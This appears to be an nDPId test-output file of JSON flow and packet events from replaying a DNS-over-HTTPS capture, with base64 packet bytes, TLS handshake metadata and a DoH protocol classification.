+00494{"flow_id":22,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":940411,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"ZmZmZmZmRERERERECABFAABfAxxAADQGOWctWhwACgAAAQG7gjqNzeUP88GKdVAYA4VxDwAAFwMDADIbHfrNokcxDuykI4MWnaOwrISZZACBPx3hGwyoi9WElzYJUfs8N4VoelUnY4whXRTRbQ=="} +00478{"flow_id":22,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":366,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":940432,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"ZmZmZmZmRERERERECABFAABUAx1AADQGOXEtWhwACgAAAQG7gjqNzeVG88GKdVAYA4UOPQAAFwMDACflS5nDr9G0xagnYUwNmZl68p16DhGx+\/5nUXnoi1nYfibYW\/ilbwg="} +00461{"flow_id":22,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":367,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":940553,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHC8FAAH4G5tkKAAABLVocAII6AbvzwYp1jc3lclAYAfUKUAAAFwMDABob7MR4aAN+Z7vNJt7WJGMKDZNmgrsmNCFVOA=="} +00466{"flow_id":22,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":368,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":940894,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABLAx5AADQGOXktWhwACgAAAQG7gjqNzeVy88GKdVAYA4UKeQAAFwMDAB5KVo6PZikBA\/B7ZhduH0RpFHjWyxd5L2ah8YKshPo="} +00576{"flow_id":22,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":369,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":940909,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"ZmZmZmZmRERERERECABFAACZAx9AADQGOSotWhwACgAAAQG7gjqNzeWV88GKdVAYA4WVqwAAFwMDAGwmyoiP6Voaj8uxe6bnRi\/rx5ejDxuVNIQ3VET8\/xNlq1I42OUUjfc8rfiXB6cUKvheEHF9EwS1WawGYtLKilQvNqlb0U4zNV6AsL\/brv5swAyAMIT0xOxEqIS\/T5zIsRmFDgU8UclJoeRfb8w="} +00786{"flow_id":22,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":370,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":940948,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":324,"pkt_l4_len":290,"pkt":"ZmZmZmZmRERERERECABFAAE2AyBAADQGOIwtWhwACgAAAQG7gjqNzeYG88GKdVAYA4Vd0wAAFwMDAQlsB7yIRhmBmY\/vv1SXZzhkhlHvNOJM5tBUvUzg\/VsaDJwCkQ9CBIfpygaQ6w4IxZXSStc9ORhCKCRjwVgLqwJjuC3iK8phAqs2VINkkcyWwjZCopzPp7DH+OeIwV4fTOsBa7UpL9pxthM0sOQAB1gOL\/ovuBuZ85sSbJsGkC7+ClqiyEz8Xs\/NaRrekhNCvfHsNjVpJP0oxDSRsuqMlAhIa3Rtkq7M5cdTBzQ1aXm6ebSZAIa6sv0rIyC3PG\/QPmTj5AV5b+CfTaV2LETRjg94tsyaloyKKw02AVvbDAaLs+vJEhkLHHPhzv\/ZC6nL30llEMmLzz692lEh33CTowjmyVMIa5+PUt88"} +00570{"flow_id":22,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":371,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":941386,"pkt_caplen":163,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":163,"pkt_l4_len":129,"pkt":"REREREREZmZmZmZmCABFAACVC8NAAH4G5okKAAABLVocAII6AbvzwYqUjc3nFFAYAfUKngAAFwMDAGgRVXdwoQFkT5SxPu1w7EW8p\/0u7VDqPc9wI24Np6CHAU6sa+HueSFuM3KNdFdDMW4tXn4LXazSJ+hVOe7VdIBWkIJGCmjq\/a0GBM2AD2XRyWWu3pSDv+y23zeCjlI7AewIZ4CU0+0RUA=="} +00569{"flow_id":22,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":372,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":941468,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWC8RAAH4G5ocKAAABLVocAII6AbvzwYsBjc3nFFAYAfUKnwAAFwMDAGlsdpEmub0+t10g9q5Tr3vsXAWirmH7TIxUkMmOmRTA6ry3dLoXppmgosG8dB8yI\/3nqYyJ4lrJDIbgJI9R53xwGlp2q4bhy7L3uYUgxnz6KYV6OjO+ud1FprIZ4TijnSiNTGSwgGokadQ="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":376,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":946739385090,"flow_last_seen":0,"flow_tot_l4_data_len":306,"flow_min_l4_data_len":306,"flow_max_l4_data_len":306,"flow_avg_l4_data_len":306,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"136.144.215.158","src_port":52176,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00806{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":376,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":90774,"pkt_caplen":340,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":340,"pkt_l4_len":306,"pkt":"REREREREZmZmZmZmCABFAAFGrgFAAH4GLMUKAAABiJDXnsvQAbv3Oz1sep96IVAYAfYiJAAAFgMBARkBAAEVAwNZtcLiAhjzwZoFuSzepzhVh3+I+642bR2Bdc1go+HJvyB94\/ND5pNfeKEuu8RDLRRLZQtcZUnz37DmCj0UC1geOAAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACmAAAAFQATAAAQZG9oLnBvd2VyZG5zLm9yZwAFAAUBAAAAAAAKAAoACAAdABcAGAAZAAsAAgEAAA0AGgAYCAQEAwgHCAUIBgQBBQEGAQUDBgMCAQID\/wEAAQAAEAAOAAwCaDIIaHR0cC8xLjEAEgAAACsACQgDBAMDAwIDAQAzACYAJAAdACBPoxVI1tXnUcUqsbORFpVub7e\/4DvFTpQM4hnCin1UEw=="} +00778{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":376,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":946739385090,"flow_last_seen":0,"flow_tot_l4_data_len":306,"flow_min_l4_data_len":306,"flow_max_l4_data_len":306,"flow_avg_l4_data_len":306,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"136.144.215.158","src_port":52176,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"doh.powerdns.org","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04635{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":124265,"pkt_caplen":3170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3170,"pkt_l4_len":3136,"pkt":"ZmZmZmZmRERERERECABFAAxUg1ZAADcGk2KIkNeeCgAAAQG7y9B6n3oh9zs+ilAYAO0tMgAAFgMDAHoCAAB2AwNC32Ly6HNyagXW\/50d2q6qJAOmShuP86HMxipBKzBmwCB94\/ND5pNfeKEuu8RDLRRLZQtcZUnz37DmCj0UC1geOBMCAAAuACsAAgMEADMAJAAdACBiVzglBWvQOWIt\/inusfkCbeAeDbm6AiXUcYUQ0SeUdBQDAwABARcDAwAgVY3jrnTrJkAawm+Mv8gBTn6zfdywiZ3PkfSROpmIxNoXAwMKFapXpMK700YralL2NJ+2AqPfCUAacni3qdcZUnufsXl31+F2NSHowZS8bEZc4wYIOhESfjBH81NgZUBCJL0cGqDMG7c\/GafBLHylsDncbVfIqhYnumIxgnBjMekzN4Jr3Pc5g1dWYk4XIPvLeMa1AeLFQqOY+unh1DHuo4FV4KfjYjnh7ERuvhffEbloWyMHFdAQi8p2J65FwIVJHxtFX6hmaEMmHATlFHHOx1RIGQmbmA5r5k0vgPGiuUMBe1e8Ay6+kNyhTTutV32hMuU4\/4gl06pCrT6iDU4Fx4eNT+Bo6E12QIKo042tC7Wn8Kl\/KILiC4TaY1uTO0+LE4wVqs5DJHWwykde\/Mpu9moeLZ0VhV6Rnx2ocHW4rczn9gPX5qTiTrDgHO7CKCVp0Yo86Aw2suyeRkNR6Pz2DTuex3RC6JD+6hKlKYjQfx6kO1r8jKEZ8UZCGU+Rw2Pd2IT\/whiiT5Kf7zLPm28Fu5xYAFYob+TbRXBcQ0z8XUJIWzCMQvkjyj\/EBbyfhm8Iz194guweTL19Y3Q2XO+NnAUm9ihjSHpRimJ0Ale\/24shK7Q0gI7NtX4Sy93vR61pN+Zbul9p4+Mos8cFPIfYJPR5DmxNv9L\/cWnYOwtiE8KnRSAYR+6q3d\/0S6rIgkskZa1GGNAffeDtgnD5SVrh+YhdzCWZCb6834ULGghfWcw8DVqJTSeWttzs5JvcUzLfaxv2WQHaWCXuUpmCZy6HgKkW3jxYYWr2tyqizXXXq732dtVhz4LWmL9EHS1WzONzEhrNFQDtpAQ95k9MRPEdXjg0bNse0lpUI4AUqhIkxWgs0j+8YRzV3BBFFrpEwA3Ylhpo+Wbg8IG0hFyThCaHTvj0vN5WKh94GQCSIjO11AtJoS9k0tl5NWJ7dp2n0NCYI25hp41FivaF\/BBZqFxHTd\/4w8k1KmIQOky6ICw7WRykbaqxzUboD5Bq7peIuOsiwZoUMD+BDbF\/3fE\/CVHWoaOcr09A0PaL0PLhUDjARYyrR4LsVfpqkH4CZh+5Jr1aOIJ+zgcH7Gme4o7fpj5Ml+hu\/y+kOOZZN5J0XdtmvZE5w20Osrk+W9YsiLIeYNt9SB2i7LEsIRfsOrVhh9XsJ8\/VF+0Pp0BTxOsC+9Ft0\/Qj6hgm17CCVsOwdD0VhkUWaus1O+o2PGnC8v4FL3kFyyqT6BtubEcffH1AbvnEid+VZXXjMTJvMB6eWAs+UqpOrNnkCEZAK35TZ0tRUT\/0MJ65M3rSS8cnt+LL4apIWh9CenPODN35ZvH8b3XA1lwJHej3o7w4KZBEvRoLt8OxNNvwpgMfHbFpXZIqbODt95v1PnTJxwC\/vTEturbRIFjRNgt+KCX3zfwvULi6DBxiqBmChwECudELdgYVXSzaQF56hOrspt7m7cSP\/bSuhLgvGoeM7hRIXBgEFXWWobiqWKLPkIiUnd3zKygePoMYOZHF1u2D1V4jxKHpRJ6c0k9v9f8PV1\/2cqY\/66gHBBbRV41oC7rjWm5aIoPFQPYH0PovphDScGBnJ6jwAMRZhEh8stnUD5D9slPJ\/emP0c\/PTpb6PEHZyu0Q7qMTKM1bbEpBCcvYFzyVsCvmHuicyOKAs3xMxmCmWm4Eqf7griGXbNKYrhS8laSwuwkSEnXVtwhIr1b+a3aGOTQNdzJzZMKbJeIH1FS5VDDqACuwzlpn2\/PpEcmP5h\/q7H0tPqDs+gUGEHDMancSkknkDjnO8AWIHrv7XSmAw8MzBpM2IwCdCuY2dZXBowy6lZV\/inUY7ZvvXtbP6a8QnD\/\/IUygRpu63NQLm4VeKCFEprpn1cgwz5cL4vjrW8z1Oy+wINHvxXqkotg8FbTmtoSQdi7m2\/uaxkwXGvCE+Ey\/VyskJtt+1lkVPt6gqRb1ZVRQm9DD0JoMxHNgFOAaDrB+WFlvX4dGQvQzwATgRC8IKAuMZ8oKSe0p8HpA+6MvWjcmzVE8kVy6HlIQ+H75lU+B2jVUeDC7BKjayT8YnFAN9VHJiYBcwsc6cBByDnSSlpjY95o1fVD\/OvMoqArUx2Avc07VIGr\/MqkoiuFsBZpt7HMy13Sks4rLBRM4blbz1tgnQW4V9XKGhwXXv\/r\/C7JzoFDKo1O5LL2d9NrS47Pk6pIUPyJaZQjYfdcqsgSPEYWloR+Ff71Pv2pzjT7Sxhw7YViV\/havSqMuVAeVNrx2FMlZ7\/Bjxt5t67OkjvVTbouDt\/zCvvPnjRGuWwfp0n7UEFUPBk0VQxxGTP46k14fFISL3DGCnaRmvSrBlk9oDA6joQ7sLe2wbd3yp\/7JTFG1yDws5hd9oSrDxTaFhT45Qw3wjaIXqpHrDVkIJVV3fSH3u051VvqUmuXNvgcA8QfJRF+xOWpwuJtANd+GaqvaC+iETLzkP5VxYMxDGAjzMI0o+7huhk06Ls+Jf4doAnMQ5xvzlXN0Jrm+66K6cwpPwq24uT0WBbVDSG8a63HdMk9Pitugm8gT5TfsMmkXcm8XvYm1EpxDTSUVXFdXoLfWyXIhhuACKArB7XcNbTOuzKmBQBNDeLFYB1E9Xt4xRs2cOc5M8BTSXsHSPQTYdc21dTZiVfSAP6\/2Gshg6m4bugupSvk5LVq6A3lh9ffmzYt3Db3zvnfSy\/Tt0BCYi48I1IzHC+nCbjFn40UDUHc5XrNCkmhQS1xNJg2qHFTjjUPePEW4+j3bBQRUYXBtmXyjbe7imkVYxn1jKZ8UW4USSgX9QTTgWMboFPNKvAGle0s4p63tKesbx5ZYZnXD1JMoq2wiuX3opjO2N0ancv\/RxoLDDssEhCe9dO3easTHhI9ARvh9rKZYKF6v6Kl1ISp1JmJSDWM7inua1o+4o1SDMyo05cBVGhhMTS\/9p3uBa3Q1+zink\/HkPt7+J8Qdeq8lFck+4f63IssnVRJTPYYtIlJvBDnEIzxlrIFjJvmSNN4lcsRZJPOIHxFfXw8TJRTgsvPxtdi3tSQFm4F+2sukCmWqPEy6giI87MQfoD2C\/Yj2M+9KXDCNq9W6tv2b4CTjfHZU+XTLbVYONSXTzAYgn5lkwz08bD2gqCs44qF\/KSJheO2v6XSQicbKpwE887mn21\/pZ1Aw7fFPdQKOSr+ozmKo3Hb7k8xRc9xS+jbMArySJEwlivY0HatI+S+fkF+iQUSFVepgBMwShL52IjMRPaDyXtnlg9nE04NDcI9V\/O40c8DJA21O6zuYXUndYIEnkJP\/UZOqiU4vEYGHHSxvu9z+OTP3HTmjMdAhSyUL1oGolZq+yT9EbInHY55rq655Oq72NwpUp+JpPgCJKsED+NjtqOZ3sxznqDpY1ghAohk4yNRdPDZzbaGgQemzPXCmXrFUsJTwcXd\/xU2NomnNTP3pmszYNUkgCR3tnkTvld9wZ\/IPs3fkgYPdntgi8PuMGjCH6ME+NhxjtV2MwDTodlIXAwMBGU0t8RnrdJi\/j1+SnvZYpC3oLybUZ0YAwC7FNMEEzD3PWZ1mQcdYkqPO6V4n6ARpcK+AxFYr2ZmYp5VZ6aP4ufUuA8CpPBGwUlNcZ3M2nwocOtccZ2oJCl6+gngVMfWFCnvPyKdJAIVEiwSYCs+M06T9K8Dn7IVtMoEfwHeIvTYluO2bnPQHkZLgVvtx4CODgchK9krbewpUgSyVMOqarNN5yC6WFzhdNiofu8YhqHlXXyYNaQehlZN2BSM6BAq9rstGdYvwLr32NuZBk40ppHqXSd1NL8zbf+k8yuXVg+g2tFIIoJcrHKG\/jMtPDHaZoxXSW0XP9QnmktFPm2sVrC8auYwtvIIcyHfmG4LUFWv9oOl2RWB0AiDdFwMDAEX95TGyYknbRQv3FxTdx\/ySOpsXyo9B3C1mQe9wKL+RuBQiooWFUmPWbB6tbYWNx9OjEFACLxCx4a2G5wYexWMh\/ScbEd4="} +00831{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":377,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":2,"flow_first_seen":946739385090,"flow_last_seen":946739385124,"flow_tot_l4_data_len":3442,"flow_min_l4_data_len":306,"flow_max_l4_data_len":3136,"flow_avg_l4_data_len":1721,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"136.144.215.158","src_port":52176,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"doh.powerdns.org","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00528{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":126461,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB4rgNAAH4GLZEKAAABiJDXnsvQAbv3Oz6Kep+GTVAYAfUhVgAAFAMDAAEBFwMDAEXEY3mnjR52mKqLxIMUmRZZcXFLr4uTi7u4xG7UfhN8KpUlgxkvImJLngXBZJdhlsdOO80qBVROy\/zQG1hjQj9e57h2KPE="} +00537{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":379,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":126589,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+rgRAAH4GLYoKAAABiJDXnsvQAbv3Oz7aep+GTVAYAfUhXAAAFwMDAFFwNNZDnjPK+shBymQiVBXbt7xi202dOQR8Rrb+yjJPWnLgMbhsBD51RnG9LISVe3Ei\/llN05tBlMIcUdZIzxbBUHgMMlLa7+nN2BwIgI3qz\/Q="} +00644{"flow_id":23,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":380,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":126743,"pkt_caplen":220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":220,"pkt_l4_len":186,"pkt":"REREREREZmZmZmZmCABFAADOrgVAAH4GLTkKAAABiJDXnsvQAbv3Oz8wep+GTVAYAfUhrAAAFwMDAKFAqHgt5ACD\/Hcnb0rfPawr1OJLN70nlF3dkYhA7ZQCOVewA6hwaIedDAlnDsEzTPRBpJWDv46vr2npo9S7MmryglbookGhf8BtnT5kHpryQnIxzmMUSkMe06vjg0NEJ8B00c40pwt2ffEb9ttTkd+oxC3Whylux+1Us6Kk9rBwv9Fj9VurRmLTFoD8b6q2+TC8GBevn3AcTvwA4+53G6VP4g=="} +00527{"flow_id":23,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":381,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":126820,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3rgZAAH4GLY8KAAABiJDXnsvQAbv3Oz\/Wep+GTVAYAfUhVQAAFwMDAEo9ZELIeTkd6D8v8QIoaIwNrtm8sLLrBdCLjcuCDoZXFNCR4LkdRP2adcM24qwUkmMZG4b2U9fbWBU+zpiaR2KaAp4H3BPXpOkxSw=="} +01116{"flow_id":23,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":382,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":153799,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"ZmZmZmZmRERERERECABFAAImg1pAADcGnYyIkNeeCgAAAQG7y9B6n4ZN9ztAJVAYAPXgFwAAFwMDAPrHxq70e5CySNWDGzSTfz0AYBkpYYgp7l\/ZksZYPgVMfycRSU46JO\/fi9Yb6sTz12+gI0ArTzFX0X0MJZHOLRTSOdyCljD6yEkxkF+hTRDG1WelJIM9Mn87\/cutJDAV\/QNbUFsHMX7V2G4KdzNGw1mAVInpG15mCcjO3pc8NUd5EtK31\/QRZzRUXgyde0v1QomnpTi9p2dgoBzNy+NE6zW8VKThuZX+4WhRVXMuKvOeGe9075uwVWR6ORoIBpBZwroa6BmQt1i2U3bI1chkpF\/p+eNbiyfc+GpO2fyccUu3YiK3ugfq\/vdnytOBrhSTj8HeRrfdt45CPJFUFwMDAPoOJKLy3Hc4bV3ZrmTZANpKpiBdfIi+vJ1YenPfhdS747nhp7X8XZ+3kk0TCYexkY7qkeI2RKmtlYUHfCsM8euBe6Y+ofd0ot5AZk\/CtrGNqUxF0V77jy3rm\/9FUsgbeR7Gc\/rlkyfYcl9kld3FxfClgWk\/ZFI+nOPISEZQG5uP9diNUzmVmZW6u\/\/0OYysEDb4N+KNAIBNQ6g2xbtL3+STnsY5m7\/NKtP+yw2WJr0ZwqsIkDBz9hT1NdFR3ysqtgR3jv3GIBE8DtKErY\/4\/496ayMsa4D6gUXr3dqKImws\/Mv+1Ox9H6ah5pgNiFdDTa1Pigmjx7wCuhfb"} +00506{"flow_id":23,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":383,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":153985,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"ZmZmZmZmRERERERECABFAABpg1tAADcGn0iIkNeeCgAAAQG7y9B6n4hL9ztAJVAYAPUmCgAAFwMDADwX2bcoGXknUOywaU6W9U2qrYTraHil2c+jn8X5uXoKe2PCFXZ0z74SWzcb42mshcRGhryOy8YjeTQHKas="} +00461{"flow_id":23,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":154123,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHrghAAH4GLb0KAAABiJDXnsvQAbv3O0Alep+IjFAYAfUhJQAAFwMDABoKhtk\/RqrqG9XBDx+pLohoYYa4CqA3ckWDzw=="} +00905{"flow_id":23,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":385,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":154560,"pkt_caplen":406,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":406,"pkt_l4_len":372,"pkt":"ZmZmZmZmRERERERECABFAAGIg1xAADcGniiIkNeeCgAAAQG7y9B6n4iM9ztAJVAYAPWKLgAAFwMDAVug3PcquYD7EPO\/tJL957qcGZJX3IzpjgtrEhwmuI\/owzGxS004j2\/F1wWZ8WNMsg\/AOKPeLEutyqvZFqTWka8j255aaR+9++f9zoiHZSFy7tdIUd8uq4VdreTrO8TT8Plh9tbV7ZofRKH6WKmwOe54e\/Ng3NPNI+Nllet2CP9zQDiXFT+CD3Dcn4evP4vRMhHH+OVp\/X3Czi9\/lQUXqU56bRHx2SSKXxVynAxuNU\/1DeiUwFy4t4DolxiNZJwS+RcPrPCP3u27dCXb0DS\/87GnBGNZqWgKIy3\/ozUe99scBTblbDYDGJOm5AJnTG0mjg4lETybgw1uRShkxbgpqT8LhCpa3WjuTefWvWR5woQWPVN4\/XN+quHxGel9UiNFnbUHGJU\/AOIAHylZ12S56CfI8\/t5iXrijAD2JD+GK8t93GpiHup8vCwDqwYxj2w+wtFnVc1Jd4P1ic5Trg=="} +00465{"flow_id":23,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":154819,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"REREREREZmZmZmZmCABFAABLrglAAH4GLbgKAAABiJDXnsvQAbv3O0BEep+J7FAYAfUhKQAAFwMDAB4zSgzUR2ZcuzTK98bCWfSm2u7Zzxp0+D+pYzlJtxU="} +00552{"flow_id":23,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":154893,"pkt_caplen":153,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":153,"pkt_l4_len":119,"pkt":"REREREREZmZmZmZmCABFAACLrgpAAH4GLXcKAAABiJDXnsvQAbv3O0Bnep+J7FAYAfUhaQAAFwMDAF7z9ZllIUJYVifkzfTmNZkbfoqBmuSaCnxtztvKBDeHssiwVOQo5nSR6hS5QkqXs2NqvhncFigbQkXSNOHHZD5sGv+1+C9xTFaldSDCLlu0cWZ1cb3oGLBlsyO6ttj6"} +00569{"flow_id":23,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":388,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":154944,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWrgtAAH4GLWsKAAABiJDXnsvQAbv3O0DKep+J7FAYAfUhdAAAFwMDAGljKoEdACJVSu6LfUQxS7Zexs7VdtZ0WWd3zkpBzdNePqSAkmPDwdqpmsW3s8yVNWD1l6kq2LB71Xq3IVZ448YTWlaSIx78F+mVdDN7fDH0CMeFIDqL5DKGDEFzM\/1oGnCGpoQmFfwpMcc="} +00671{"flow_id":23,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":188288,"pkt_caplen":238,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":238,"pkt_l4_len":204,"pkt":"ZmZmZmZmRERERERECABFAADgg15AADcGns6IkNeeCgAAAQG7y9B6n4ns9ztBOFAYAPU26wAAFwMDALOTK54BMRDpe4MtRO4mvaKSRanWnUcsocEhf9imDZHTA69qRe1uMpLNe4m7Qp6bbB11SlMzzljnJWHK+xtT3NsLO0bn8SbPTm\/fP2HByAEIKCeJjzX6cTzrqctPaQMfDSYpsZyjirFQZJWd9zNZ8BqFngUuVVeMYAnqiHHR711KLHnNmYB21LdkXKWJ\/KQgiEfOFQlvg\/OO7+9BRDX2ISiFdjwYwba6lX0BaMvdwPOAIYVaXQ=="} 